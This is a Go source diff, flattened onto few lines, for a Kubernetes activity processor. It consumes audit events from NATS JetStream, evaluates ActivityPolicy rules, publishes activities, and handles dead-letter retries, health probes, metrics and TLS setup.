p.nc.Close() - } - close(done) - }() - - select { - case <-done: - klog.Info("NATS connection drained successfully") - case <-time.After(drainTimeout): - klog.Warning("NATS drain timed out, forcing close") - p.nc.Close() - } - } - klog.Info("Activity processor stopped") -} - -// monitorWorkers monitors worker health and logs errors. -func (p *Processor) monitorWorkers(ctx context.Context, workerErrors <-chan error) { - for { - select { - case <-ctx.Done(): - return - case err := <-workerErrors: - if err != nil { - klog.ErrorS(err, "Worker reported error") - } - } - } -} - -// kindToResource converts a Kind to its plural resource name using API discovery. -func (p *Processor) kindToResource(apiGroup, kind string) (string, error) { - return processor.NewResourceResolver(p.mapper)(apiGroup, kind) -} - -// resourceToKind converts a plural resource name to its Kind using API discovery. -func (p *Processor) resourceToKind(apiGroup, resource string) (string, error) { - return processor.NewKindResolver(p.mapper)(apiGroup, resource) -} - -func (p *Processor) onPolicyAdd(obj any) { - policy, ok := obj.(*v1alpha1.ActivityPolicy) - if !ok { - klog.Error("Failed to cast object to ActivityPolicy in add handler") - return - } - - if !isPolicyReady(policy) { - klog.V(2).InfoS("Skipping policy that is not ready", - "policy", policy.Name, - ) - return - } - - // Convert Kind to resource (plural) to match audit event ObjectRef format. - resource, err := p.kindToResource(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) - if err != nil { - klog.ErrorS(err, "Failed to resolve resource for policy, skipping", - "policy", policy.Name, - "apiGroup", policy.Spec.Resource.APIGroup, - "kind", policy.Spec.Resource.Kind, - ) - return - } - - if err := p.policyCache.Add(policy, resource); err != nil { - klog.ErrorS(err, "Failed to compile and add policy", - "policy", policy.Name, - ) - return - } - - policyCount.Set(float64(p.policyCache.Len())) - - klog.InfoS("Added ActivityPolicy", - "policy", policy.Name, - "kind", policy.Spec.Resource.Kind, - "resource", resource, - ) -} - -func (p *Processor) onPolicyUpdate(oldObj, newObj any) { - oldPolicy, ok := oldObj.(*v1alpha1.ActivityPolicy) - if !ok { - klog.Error("Failed to cast old object to ActivityPolicy in update handler") - return - } - newPolicy, ok := newObj.(*v1alpha1.ActivityPolicy) - if !ok { - klog.Error("Failed to cast new object to ActivityPolicy in update handler") - return - } - - wasReady := isPolicyReady(oldPolicy) - isReady := isPolicyReady(newPolicy) - - oldResource, oldErr := p.kindToResource(oldPolicy.Spec.Resource.APIGroup, oldPolicy.Spec.Resource.Kind) - newResource, newErr := p.kindToResource(newPolicy.Spec.Resource.APIGroup, newPolicy.Spec.Resource.Kind) - - if oldErr != nil && wasReady { - klog.ErrorS(oldErr, "Failed to resolve old resource for policy update", - "policy", oldPolicy.Name, - "apiGroup", oldPolicy.Spec.Resource.APIGroup, - "kind", oldPolicy.Spec.Resource.Kind, - ) - } - if newErr != nil && isReady { - klog.ErrorS(newErr, "Failed to resolve new resource for policy update", - "policy", newPolicy.Name, - "apiGroup", newPolicy.Spec.Resource.APIGroup, - "kind", newPolicy.Spec.Resource.Kind, - ) - return - } - - // Remove old policy if it was ready - if wasReady && oldErr == nil { - p.policyCache.Remove(oldPolicy, oldResource) - } - - // Add new policy if it's ready - if isReady { - if err := p.policyCache.Add(newPolicy, newResource); err != nil { - klog.ErrorS(err, "Failed to compile and add updated policy", - "policy", newPolicy.Name, - ) - } else { - klog.InfoS("Updated ActivityPolicy", - "policy", newPolicy.Name, - "resource", policyKey(newPolicy.Spec.Resource.APIGroup, newResource), - "wasReady", wasReady, - "isReady", isReady, - ) - - // Trigger DLQ retry for events that failed on this policy - // Check context before spawning to avoid races during shutdown - if p.dlqRetryController != nil { - select { - case <-p.ctx.Done(): - // Processor is shutting down, don't start new retries - default: - go p.dlqRetryController.RetryForPolicy(p.ctx, newPolicy) - } - } - } - } else if wasReady { - klog.InfoS("ActivityPolicy no longer ready, removed from processing", - "policy", newPolicy.Name, - ) - } - - policyCount.Set(float64(p.policyCache.Len())) -} - -func (p *Processor) onPolicyDelete(obj any) { - policy, ok := obj.(*v1alpha1.ActivityPolicy) - if !ok { - // Informer may pass a tombstone when the object was deleted while disconnected. - tombstone, ok := obj.(toolscache.DeletedFinalStateUnknown) - if !ok { - klog.Error("Failed to cast object in delete handler") - return - } - policy, ok = tombstone.Obj.(*v1alpha1.ActivityPolicy) - if !ok { - klog.Error("Failed to cast tombstone object to ActivityPolicy") - return - } - } - - resource, err := p.kindToResource(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) - if err != nil { - klog.ErrorS(err, "Failed to resolve resource for policy delete", - "policy", policy.Name, - "apiGroup", policy.Spec.Resource.APIGroup, - "kind", policy.Spec.Resource.Kind, - ) - return - } - - p.policyCache.Remove(policy, resource) - policyCount.Set(float64(p.policyCache.Len())) - - klog.InfoS("Deleted ActivityPolicy", - "policy", policy.Name, - "resource", policyKey(policy.Spec.Resource.APIGroup, resource), - ) -} - -func (p *Processor) worker(ctx context.Context, id int, errors chan<- error) { - defer p.wg.Done() - defer workerCount.Dec() - - workerCount.Inc() - - sub, err := p.js.PullSubscribe( - "audit.k8s.>", - p.config.ConsumerName, - nats.Bind(p.config.NATSStreamName, p.config.ConsumerName), - ) - if err != nil { - klog.ErrorS(err, "Failed to create pull subscription", "worker", id) - errors <- fmt.Errorf("worker %d: failed to create subscription: %w", id, err) - return - } - defer sub.Unsubscribe() - - klog.V(2).InfoS("Worker started", "worker", id) - - for { - select { - case <-ctx.Done(): - klog.V(2).InfoS("Worker stopping", "worker", id) - return - default: - } - - msgs, err := sub.Fetch(p.config.BatchSize, nats.MaxWait(5*time.Second)) - if err != nil { - if err == nats.ErrTimeout { - continue - } - klog.ErrorS(err, "Failed to fetch messages", "worker", id) - continue - } - - for _, msg := range msgs { - if err := p.processMessage(msg); err != nil { - klog.ErrorS(err, "Failed to process message", "worker", id) - msg.Nak() - continue - } - msg.Ack() - } - } -} - -func (p *Processor) processMessage(msg *nats.Msg) error { - // Keep raw payload for DLQ in case of failure - rawPayload := json.RawMessage(msg.Data) - - var audit auditv1.Event - if err := json.Unmarshal(msg.Data, &audit); err != nil { - eventsErrored.WithLabelValues("audit_log", "unmarshal").Inc() - // Publish to DLQ - unmarshal errors are unrecoverable - // Tenant is nil since we couldn't unmarshal the event - if dlqErr := p.dlqPublisher.PublishAuditFailure( - p.ctx, rawPayload, "", 0, -1, processor.ErrorTypeUnmarshal, err, nil, nil, - ); dlqErr != nil { - klog.ErrorS(dlqErr, "Failed to publish to DLQ") - return fmt.Errorf("failed to unmarshal audit event: %w", err) - } - // Successfully published to DLQ, message can be ACKed - return nil - } - - // Extract tenant info early for DLQ context - activityTenant := processor.ExtractTenant(audit.User) - dlqTenant := processor.NewDeadLetterTenantFromActivity(activityTenant.Type, activityTenant.Name) - - if audit.ObjectRef == nil { - eventsSkipped.WithLabelValues("audit_log", "no_object_ref").Inc() - return nil - } - - apiGroup := audit.ObjectRef.APIGroup - if apiGroup == "" { - apiGroup = "core" - } - eventsReceived.WithLabelValues("audit_log", apiGroup, audit.ObjectRef.Resource).Inc() - - // Get compiled policies for this resource - policies := p.policyCache.Get(audit.ObjectRef.APIGroup, audit.ObjectRef.Resource) - if len(policies) == 0 { - eventsSkipped.WithLabelValues("audit_log", "no_matching_policy").Inc() - return nil - } - - // Convert audit event to map for CEL evaluation - auditMap, err := auditToMap(&audit) - if err != nil { - eventsErrored.WithLabelValues("audit_log", "unmarshal").Inc() - // Publish to DLQ - auditToMap errors are unrecoverable - dlqResource := &processor.DeadLetterResource{ - APIGroup: audit.ObjectRef.APIGroup, - Kind: "", // Can't resolve kind without the map - Name: audit.ObjectRef.Name, - Namespace: audit.ObjectRef.Namespace, - } - // Try to resolve kind for better DLQ context - if kind, kindErr := p.resourceToKind(audit.ObjectRef.APIGroup, audit.ObjectRef.Resource); kindErr == nil { - dlqResource.Kind = kind - } - if dlqErr := p.dlqPublisher.PublishAuditFailure( - p.ctx, rawPayload, "", 0, -1, processor.ErrorTypeUnmarshal, err, dlqResource, dlqTenant, - ); dlqErr != nil { - klog.ErrorS(dlqErr, "Failed to publish to DLQ") - return fmt.Errorf("failed to convert audit to map: %w", err) - } - return nil - } - - // Build resource info for DLQ context with proper kind resolution - dlqResource := &processor.DeadLetterResource{ - APIGroup: audit.ObjectRef.APIGroup, - Kind: "", // Will be set from policy or resolved dynamically - Name: audit.ObjectRef.Name, - Namespace: audit.ObjectRef.Namespace, - } - // Pre-resolve kind for DLQ context (best effort, will be overwritten by policy.Kind when available) - if kind, kindErr := p.resourceToKind(audit.ObjectRef.APIGroup, audit.ObjectRef.Resource); kindErr == nil { - dlqResource.Kind = kind - } - - // First matching policy wins. - for _, policy := range policies { - policyStart := time.Now() - - // Use policy's Kind for DLQ context (more accurate than resolved kind) - dlqResource.Kind = policy.Kind - - // Evaluate audit rules using pre-compiled programs - activity, ruleIndex, err := p.evaluateCompiledAuditRules(policy, auditMap, &audit) - if err != nil { - // Serialize audit event for debugging - eventJSON, _ := json.Marshal(auditMap) - - klog.ErrorS(err, "Failed to evaluate policy", - "policy", policy.Name, - "auditID", audit.AuditID, - "eventJSON", truncateString(string(eventJSON), 4096), - ) - - // Emit Kubernetes Warning event - p.eventEmitter.EmitEvaluationError(p.ctx, policy.Name, ruleIndex, err) - - // Classify error type for DLQ using sentinel errors - errorType := processor.ErrorTypeCELMatch - if ruleIndex >= 0 { - // If we have a rule index, check if it's a kind resolution or summary error - if errors.Is(err, processor.ErrKindResolution) { - errorType = processor.ErrorTypeKindResolve - } else if errors.Is(err, processor.ErrActivityBuild) { - errorType = processor.ErrorTypeKindResolve // Activity build errors are typically kind resolution - } else { - errorType = processor.ErrorTypeCELSummary - } - } - - // Publish to DLQ - policyVersion := int64(0) - if policy.OriginalPolicy != nil { - policyVersion = policy.OriginalPolicy.Generation - } - if dlqErr := p.dlqPublisher.PublishAuditFailure( - p.ctx, rawPayload, policy.Name, policyVersion, ruleIndex, errorType, err, dlqResource, dlqTenant, - ); dlqErr != nil { - klog.ErrorS(dlqErr, "Failed to publish to DLQ, NAKing message") - eventsErrored.WithLabelValues("audit_log", "evaluate").Inc() - eventsEvaluated.WithLabelValues( - "audit_log", - policy.Name, - policy.APIGroup, - policy.Kind, - "error", - ).Inc() - eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) - // Return error to NAK the message so it gets redelivered - return fmt.Errorf("failed to evaluate policy and publish to DLQ: %w", dlqErr) - } - - // Successfully published to DLQ, continue to next policy (message will be ACKed) - eventsErrored.WithLabelValues("audit_log", "evaluate").Inc() - eventsEvaluated.WithLabelValues( - "audit_log", - policy.Name, - policy.APIGroup, - policy.Kind, - "error", - ).Inc() - eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) - continue - } - - ruleMatched := activity != nil - eventsEvaluated.WithLabelValues( - "audit_log", - policy.Name, - policy.APIGroup, - policy.Kind, - fmt.Sprintf("%t", ruleMatched), - ).Inc() - - if !ruleMatched { - eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) - continue - } - - if err := p.publishActivity(activity, policy); err != nil { - eventsErrored.WithLabelValues("audit_log", "publish").Inc() - eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) - return fmt.Errorf("failed to publish activity: %w", err) - } - - klog.V(4).InfoS("Generated activity", - "activity", activity.Name, - "policy", policy.Name, - "ruleIndex", ruleIndex, - "auditID", audit.AuditID, - ) - - eventProcessingDuration.WithLabelValues("audit_log", policy.Name).Observe(time.Since(policyStart).Seconds()) - return nil - } - - return nil -} - -// evaluateCompiledAuditRules evaluates audit rules using pre-compiled CEL programs. -func (p *Processor) evaluateCompiledAuditRules(policy *CompiledPolicy, auditMap map[string]any, audit *auditv1.Event) (*v1alpha1.Activity, int, error) { - return EvaluateCompiledAuditRules(policy, auditMap, audit, p.resourceToKind) -} - -// auditToMap converts an audit event to a map for CEL evaluation. -func auditToMap(audit *auditv1.Event) (map[string]any, error) { - data, err := json.Marshal(audit) - if err != nil { - return nil, err - } - var m map[string]any - if err := json.Unmarshal(data, &m); err != nil { - return nil, err - } - return m, nil -} - -func (p *Processor) publishActivity(activity *v1alpha1.Activity, policy *CompiledPolicy) error { - data, err := json.Marshal(activity) - if err != nil { - return fmt.Errorf("failed to marshal activity: %w", err) - } - - subject := p.buildActivitySubject(activity) - - // Activity name is unique per audit event, enabling NATS deduplication. - publishStart := time.Now() - _, err = p.js.Publish(subject, data, nats.MsgId(activity.Name)) - natsPublishLatency.Observe(time.Since(publishStart).Seconds()) - if err != nil { - return fmt.Errorf("failed to publish to NATS: %w", err) - } - - natsMessagesPublished.Inc() - activitiesGenerated.WithLabelValues( - policy.Name, - policy.APIGroup, - policy.Kind, - ).Inc() - return nil -} - -// buildActivitySubject returns the NATS subject for routing activities. -// Format: ....... -func (p *Processor) buildActivitySubject(activity *v1alpha1.Activity) string { - prefix := p.config.OutputSubjectPrefix - - tenantType := activity.Spec.Tenant.Type - if tenantType == "" { - tenantType = "platform" - } - tenantName := activity.Spec.Tenant.Name - if tenantName == "" { - tenantName = "_" - } - - apiGroup := activity.Spec.Resource.APIGroup - if apiGroup == "" { - apiGroup = "core" - } - - origin := activity.Spec.Origin.Type - kind := activity.Spec.Resource.Kind - namespace := activity.Spec.Resource.Namespace - if namespace == "" { - namespace = "_" - } - name := activity.Name - - return fmt.Sprintf("%s.%s.%s.%s.%s.%s.%s.%s", - prefix, tenantType, tenantName, apiGroup, origin, kind, namespace, name) -} - -func policyKey(apiGroup, kindOrResource string) string { - return fmt.Sprintf("%s/%s", apiGroup, kindOrResource) -} - -func isPolicyReady(policy *v1alpha1.ActivityPolicy) bool { - return meta.IsStatusConditionTrue(policy.Status.Conditions, "Ready") -} - -// setReady sets the ready status. -func (p *Processor) setReady(ready bool) { - p.healthMu.Lock() - defer p.healthMu.Unlock() - p.ready = ready -} - -// isReady returns true if the processor is ready to serve traffic. -func (p *Processor) isReady() bool { - p.healthMu.RLock() - defer p.healthMu.RUnlock() - return p.ready -} - -// startHealthServer starts the HTTP health probe server using controller-runtime healthz. -func (p *Processor) startHealthServer() { - mux := http.NewServeMux() - - // Liveness probe - checks if the processor is alive and NATS is connected - mux.Handle("/healthz", http.StripPrefix("/healthz", &healthz.Handler{ - Checks: map[string]healthz.Checker{ - "ping": healthz.Ping, - "nats": p.natsHealthChecker(), - }, - })) - - // Readiness probe - checks if the processor is ready to receive traffic - mux.Handle("/readyz", http.StripPrefix("/readyz", &healthz.Handler{ - Checks: map[string]healthz.Checker{ - "ping": healthz.Ping, - "nats": p.natsHealthChecker(), - "cache-synced": p.cacheSyncedChecker(), - "policies-ready": p.policiesReadyChecker(), - }, - })) - - // Metrics endpoint for Prometheus scraping - mux.Handle("/metrics", promhttp.HandlerFor(metrics.Registry, promhttp.HandlerOpts{})) - - p.healthServer = &http.Server{ - Addr: p.config.HealthProbeAddr, - Handler: mux, - } - - p.wg.Add(1) - go func() { - defer p.wg.Done() - klog.InfoS("Starting health probe server", "addr", p.config.HealthProbeAddr) - if err := p.healthServer.ListenAndServe(); err != nil && err != http.ErrServerClosed { - klog.ErrorS(err, "Health probe server error") - } - }() -} - -// natsHealthChecker returns a health checker for NATS connection status. -func (p *Processor) natsHealthChecker() healthz.Checker { - return func(req *http.Request) error { - if p.nc == nil { - return fmt.Errorf("NATS connection not initialized") - } - if !p.nc.IsConnected() { - return fmt.Errorf("NATS connection is disconnected") - } - return nil - } -} - -// cacheSyncedChecker returns a health checker for cache sync status. -func (p *Processor) cacheSyncedChecker() healthz.Checker { - return func(req *http.Request) error { - if !p.isReady() { - return fmt.Errorf("cache not synced") - } - return nil - } -} - -// policiesReadyChecker returns a health checker that verifies policies are loaded. -func (p *Processor) policiesReadyChecker() healthz.Checker { - return func(req *http.Request) error { - // This is a soft check - we allow the processor to be ready even with no policies - // as policies may be added later. We just verify the cache is initialized. - if p.policyCache == nil { - return fmt.Errorf("policy cache not initialized") - } - return nil - } -} - -// buildNATSTLSConfig creates a TLS configuration for NATS connections. -func (p *Processor) buildNATSTLSConfig() (*tls.Config, error) { - tlsConfig := &tls.Config{ - MinVersion: tls.VersionTLS12, - } - - // Load client certificate and key if provided (for mTLS) - if p.config.NATSTLSCertFile != "" && p.config.NATSTLSKeyFile != "" { - cert, err := tls.LoadX509KeyPair(p.config.NATSTLSCertFile, p.config.NATSTLSKeyFile) - if err != nil { - return nil, fmt.Errorf("failed to load NATS client certificate: %w", err) - } - tlsConfig.Certificates = []tls.Certificate{cert} - klog.V(2).InfoS("Loaded NATS client certificate", - "certFile", p.config.NATSTLSCertFile, - "keyFile", p.config.NATSTLSKeyFile, - ) - } - - // Load CA certificate if provided for server verification - if p.config.NATSTLSCAFile != "" { - caCert, err := os.ReadFile(p.config.NATSTLSCAFile) - if err != nil { - return nil, fmt.Errorf("failed to read NATS CA certificate: %w", err) - } - caCertPool := x509.NewCertPool() - if !caCertPool.AppendCertsFromPEM(caCert) { - return nil, fmt.Errorf("failed to parse NATS CA certificate") - } - tlsConfig.RootCAs = caCertPool - klog.V(2).InfoS("Loaded NATS CA certificate", "caFile", p.config.NATSTLSCAFile) - } - - return tlsConfig, nil -} +package activityprocessor + +import ( + "context" + "crypto/tls" + "crypto/x509" + "encoding/json" + "errors" + "fmt" + "net/http" + "os" + "sync" + "time" + + "github.com/nats-io/nats.go" + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promhttp" + auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" + corev1 "k8s.io/api/core/v1" + "k8s.io/apimachinery/pkg/api/meta" + "k8s.io/client-go/discovery" + "k8s.io/client-go/discovery/cached/memory" + "k8s.io/client-go/kubernetes" + typedcorev1 "k8s.io/client-go/kubernetes/typed/core/v1" + "k8s.io/client-go/rest" + "k8s.io/client-go/restmapper" + toolscache "k8s.io/client-go/tools/cache" + "k8s.io/client-go/tools/record" + "k8s.io/klog/v2" + "sigs.k8s.io/controller-runtime/pkg/cache" + "sigs.k8s.io/controller-runtime/pkg/client" + "sigs.k8s.io/controller-runtime/pkg/healthz" + "sigs.k8s.io/controller-runtime/pkg/metrics" + + "go.miloapis.com/activity/internal/controller" + "go.miloapis.com/activity/internal/processor" + "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" +) + +var ( + eventsReceived = prometheus.NewCounterVec( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Name: "events_received_total", + Help: "Total number of events received from NATS", + }, + []string{"source", "api_group", "resource"}, + ) + + eventsEvaluated = prometheus.NewCounterVec( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Name: "events_evaluated_total", + Help: "Total number of events evaluated against policies", + }, + []string{"source", "policy", "api_group", "kind", "matched"}, + ) + + eventsSkipped = prometheus.NewCounterVec( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Name: "events_skipped_total", + Help: "Total number of events skipped", + }, + []string{"source", "reason"}, + ) + + eventsErrored = prometheus.NewCounterVec( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Name: "events_errored_total", + Help: "Total number of events that encountered errors", + }, + []string{"source", "error_type"}, + ) + + activitiesGenerated = prometheus.NewCounterVec( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Name: "activities_generated_total", + Help: "Total number of activities generated and published", + }, + []string{"policy", "api_group", "kind"}, + ) + + eventProcessingDuration = prometheus.NewHistogramVec( + prometheus.HistogramOpts{ + Namespace: "activity_processor", + Name: "event_processing_duration_seconds", + Help: "Time spent processing events per policy", + Buckets: prometheus.DefBuckets, + }, + []string{"source", "policy"}, + ) + + policyCount = prometheus.NewGauge( + prometheus.GaugeOpts{ + Namespace: "activity_processor", + Name: "active_policies", + Help: "Number of active (Ready) policies being used", + }, + ) + + workerCount = prometheus.NewGauge( + prometheus.GaugeOpts{ + Namespace: "activity_processor", + Name: "active_workers", + Help: "Number of active worker goroutines", + }, + ) + + // NATS client metrics + natsConnectionStatus = prometheus.NewGauge( + prometheus.GaugeOpts{ + Namespace: "activity_processor", + Subsystem: "nats", + Name: "connection_status", + Help: "NATS connection status (1 = connected, 0 = disconnected)", + }, + ) + + natsDisconnectsTotal = prometheus.NewCounter( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Subsystem: "nats", + Name: "disconnects_total", + Help: "Total number of NATS disconnection events", + }, + ) + + natsReconnectsTotal = prometheus.NewCounter( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Subsystem: "nats", + Name: "reconnects_total", + Help: "Total number of NATS reconnection events", + }, + ) + + natsErrorsTotal = prometheus.NewCounter( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Subsystem: "nats", + Name: "errors_total", + Help: "Total number of NATS async errors", + }, + ) + + natsMessagesPublished = prometheus.NewCounter( + prometheus.CounterOpts{ + Namespace: "activity_processor", + Subsystem: "nats", + Name: "messages_published_total", + Help: "Total number of messages published to NATS", + }, + ) + + natsPublishLatency = prometheus.NewHistogram( + prometheus.HistogramOpts{ + Namespace: "activity_processor", + Subsystem: "nats", + Name: "publish_latency_seconds", + Help: "Latency of NATS publish operations", + Buckets: []float64{.001, .005, .01, .025, .05, .1, .25, .5, 1}, + }, + ) + +) + +func init() { + // Use controller-runtime's registry so metrics are exposed alongside controller metrics. + metrics.Registry.MustRegister( + eventsReceived, + eventsEvaluated, + eventsSkipped, + eventsErrored, + activitiesGenerated, + eventProcessingDuration, + policyCount, + workerCount, + // NATS metrics + natsConnectionStatus, + natsDisconnectsTotal, + natsReconnectsTotal, + natsErrorsTotal, + natsMessagesPublished, + natsPublishLatency, + ) +} + +// Config contains configuration for the activity processor. +type Config struct { + // NATS configuration + NATSURL string + NATSStreamName string // Source stream for audit events (e.g., "AUDIT_EVENTS") + ConsumerName string // Durable consumer name + + // Event stream configuration + NATSEventStream string // Source stream for Kubernetes events (e.g., "EVENTS") + NATSEventConsumer string // Durable consumer name for event processor + + // Output NATS stream for generated activities + OutputStreamName string // Stream for publishing activities (e.g., "ACTIVITIES") + OutputSubjectPrefix string // Subject prefix for activities (e.g., "activities") + + // NATS TLS/mTLS configuration + NATSTLSEnabled bool // Enable TLS for NATS connection + NATSTLSCertFile string // Path to client certificate file (for mTLS) + NATSTLSKeyFile string // Path to client private key file (for mTLS) + NATSTLSCAFile string // Path to CA certificate file for server verification + + // Dead-letter queue configuration + DLQEnabled bool // Enable dead-letter queue for failed events + DLQStreamName string // NATS stream name for DLQ (e.g., "ACTIVITY_DEAD_LETTER") + DLQSubjectPrefix string // Subject prefix for DLQ messages (e.g., "activity.dlq") + + // DLQ retry configuration + DLQRetryEnabled bool // Enable automatic retry of DLQ events + DLQRetryInterval time.Duration // Interval between retry batches + DLQRetryBatchSize int // Number of events to process per retry batch + DLQRetryBackoffBase time.Duration // Initial backoff duration + DLQRetryBackoffMultiplier float64 // Exponential backoff multiplier + DLQRetryBackoffMax time.Duration // Maximum backoff duration + DLQRetryAlertThreshold int // Retry count threshold for alerts + DLQRetryAuditSubject string // Subject for republishing audit events from DLQ + DLQRetryEventSubject string // Subject for republishing Kubernetes events from DLQ + + // Processing configuration + Workers int // Number of concurrent workers + BatchSize int // Messages to fetch per batch + AckWait time.Duration // Time before message redelivery + MaxDeliver int // Maximum redelivery attempts + + // Health probe configuration + HealthProbeAddr string // Address for health probe server (e.g., ":8081") + +} + +// DefaultConfig returns configuration with default values. +func DefaultConfig() Config { + return Config{ + NATSURL: "nats://localhost:4222", + NATSStreamName: "AUDIT_EVENTS", + ConsumerName: "activity-processor@activity.miloapis.com", + NATSEventStream: "EVENTS", + NATSEventConsumer: "activity-event-processor", + OutputStreamName: "ACTIVITIES", + OutputSubjectPrefix: "activities", + DLQEnabled: true, + DLQStreamName: "ACTIVITY_DEAD_LETTER", + DLQSubjectPrefix: "activity.dlq", + DLQRetryEnabled: true, + DLQRetryInterval: 5 * time.Minute, + DLQRetryBatchSize: 100, + DLQRetryBackoffBase: 1 * time.Minute, + DLQRetryBackoffMultiplier: 2.0, + DLQRetryBackoffMax: 24 * time.Hour, + DLQRetryAlertThreshold: 10, + Workers: 4, + BatchSize: 100, + AckWait: 30 * time.Second, + MaxDeliver: 5, + HealthProbeAddr: ":8081", + } +} + +// Processor consumes audit events from NATS, evaluates ActivityPolicies, +// and publishes Activity resources to NATS for downstream consumption. +type Processor struct { + config Config + restConfig *rest.Config + + nc *nats.Conn + js nats.JetStreamContext + + cache cache.Cache + + // mapper converts Kind to Resource using API discovery. Requires explicit + // Reset() on cache miss to discover newly registered CRDs. + mapper meta.ResettableRESTMapper + + // policyCache holds pre-compiled policies indexed by apiGroup/resource. + policyCache *PolicyCache + + // eventProcessor processes Kubernetes events from the EVENTS stream. + eventProcessor *processor.EventProcessor + + // eventEmitter emits Kubernetes Warning events for evaluation failures. + eventEmitter *EventEmitter + + // dlqPublisher publishes failed events to the dead-letter queue. + dlqPublisher processor.DLQPublisher + + // dlqRetryController handles automatic retry of DLQ events. + dlqRetryController *DLQRetryController + + wg sync.WaitGroup + ctx context.Context + cancel context.CancelFunc + + // Health tracking + healthMu sync.RWMutex + ready bool // Cache synced and NATS connected + healthServer *http.Server +} + +// New creates a new activity processor. +func New(config Config, restConfig *rest.Config) (*Processor, error) { + ctx, cancel := context.WithCancel(context.Background()) + + p := &Processor{ + config: config, + restConfig: restConfig, + policyCache: NewPolicyCache(), + ctx: ctx, + cancel: cancel, + } + + return p, nil +} + +// Start begins processing audit events. +func (p *Processor) Start(ctx context.Context) error { + // Start health probe server early so Kubernetes can check liveness + if p.config.HealthProbeAddr != "" { + p.startHealthServer() + } + + discoveryClient, err := discovery.NewDiscoveryClientForConfig(p.restConfig) + if err != nil { + return fmt.Errorf("failed to create discovery client: %w", err) + } + cachedDiscoveryClient := memory.NewMemCacheClient(discoveryClient) + p.mapper = restmapper.NewDeferredDiscoveryRESTMapper(cachedDiscoveryClient) + + c, err := cache.New(p.restConfig, cache.Options{ + Scheme: controller.Scheme, + }) + if err != nil { + return fmt.Errorf("failed to create cache: %w", err) + } + p.cache = c + + informer, err := p.cache.GetInformer(ctx, &v1alpha1.ActivityPolicy{}) + if err != nil { + return fmt.Errorf("failed to get informer for ActivityPolicy: %w", err) + } + + _, err = informer.AddEventHandler(toolscache.ResourceEventHandlerFuncs{ + AddFunc: p.onPolicyAdd, + UpdateFunc: p.onPolicyUpdate, + DeleteFunc: p.onPolicyDelete, + }) + if err != nil { + return fmt.Errorf("failed to add event handler: %w", err) + } + + p.wg.Add(1) + go func() { + defer p.wg.Done() + if err := p.cache.Start(ctx); err != nil { + klog.ErrorS(err, "Cache failed") + } + }() + + if !p.cache.WaitForCacheSync(ctx) { + return fmt.Errorf("failed to sync cache") + } + + klog.InfoS("ActivityPolicy cache synced") + + // Create controller-runtime client for event emission + k8sClient, err := client.New(p.restConfig, client.Options{ + Scheme: controller.Scheme, + }) + if err != nil { + return fmt.Errorf("failed to create kubernetes client: %w", err) + } + + // Create Kubernetes clientset for event broadcaster + clientset, err := kubernetes.NewForConfig(p.restConfig) + if err != nil { + return fmt.Errorf("failed to create kubernetes clientset: %w", err) + } + + // Create event broadcaster and recorder for emitting Kubernetes events + eventBroadcaster := record.NewBroadcaster() + eventBroadcaster.StartRecordingToSink(&typedcorev1.EventSinkImpl{ + Interface: clientset.CoreV1().Events(""), + }) + recorder := eventBroadcaster.NewRecorder(controller.Scheme, corev1.EventSource{Component: "activity-processor"}) + + // Create event emitter for health reporting + p.eventEmitter = NewEventEmitter(k8sClient, recorder) + + // Build NATS connection options + natsOpts := []nats.Option{ + nats.Name("activity-processor"), + nats.RetryOnFailedConnect(true), + nats.MaxReconnects(-1), + nats.ReconnectWait(time.Second), + nats.ReconnectJitter(100*time.Millisecond, time.Second), + nats.DisconnectErrHandler(func(nc *nats.Conn, err error) { + natsConnectionStatus.Set(0) + natsDisconnectsTotal.Inc() + if err != nil { + klog.ErrorS(err, "NATS disconnected") + } else { + klog.Info("NATS disconnected") + } + }), + nats.ReconnectHandler(func(nc *nats.Conn) { + natsConnectionStatus.Set(1) + natsReconnectsTotal.Inc() + klog.InfoS("NATS reconnected", "url", nc.ConnectedUrl()) + }), + nats.ClosedHandler(func(nc *nats.Conn) { + natsConnectionStatus.Set(0) + klog.Info("NATS connection closed") + }), + nats.ErrorHandler(func(nc *nats.Conn, sub *nats.Subscription, err error) { + natsErrorsTotal.Inc() + subName := "" + if sub != nil { + subName = sub.Subject + } + klog.ErrorS(err, "NATS async error", "subject", subName) + }), + nats.LameDuckModeHandler(func(nc *nats.Conn) { + klog.InfoS("NATS server entering lame duck mode, will reconnect to another server") + }), + } + + // Add TLS configuration if enabled + if p.config.NATSTLSEnabled { + tlsConfig, err := p.buildNATSTLSConfig() + if err != nil { + return fmt.Errorf("failed to build NATS TLS config: %w", err) + } + natsOpts = append(natsOpts, nats.Secure(tlsConfig)) + klog.InfoS("NATS TLS enabled") + } + + nc, err := nats.Connect(p.config.NATSURL, natsOpts...) + if err != nil { + return fmt.Errorf("failed to connect to NATS: %w", err) + } + p.nc = nc + natsConnectionStatus.Set(1) + + js, err := nc.JetStream() + if err != nil { + nc.Close() + return fmt.Errorf("failed to create JetStream context: %w", err) + } + p.js = js + + // Streams and consumers are managed declaratively via NATS JetStream controller. + // Fail fast if they don't exist rather than attempting to create them. + _, err = js.ConsumerInfo(p.config.NATSStreamName, p.config.ConsumerName) + if err != nil { + nc.Close() + return fmt.Errorf("consumer %q not found on stream %q (ensure NATS JetStream resources are deployed): %w", + p.config.ConsumerName, p.config.NATSStreamName, err) + } + + _, err = js.StreamInfo(p.config.OutputStreamName) + if err != nil { + nc.Close() + return fmt.Errorf("output stream %q not found (ensure NATS JetStream resources are deployed): %w", + p.config.OutputStreamName, err) + } + + // Initialize dead-letter queue publisher + dlqConfig := processor.DLQConfig{ + 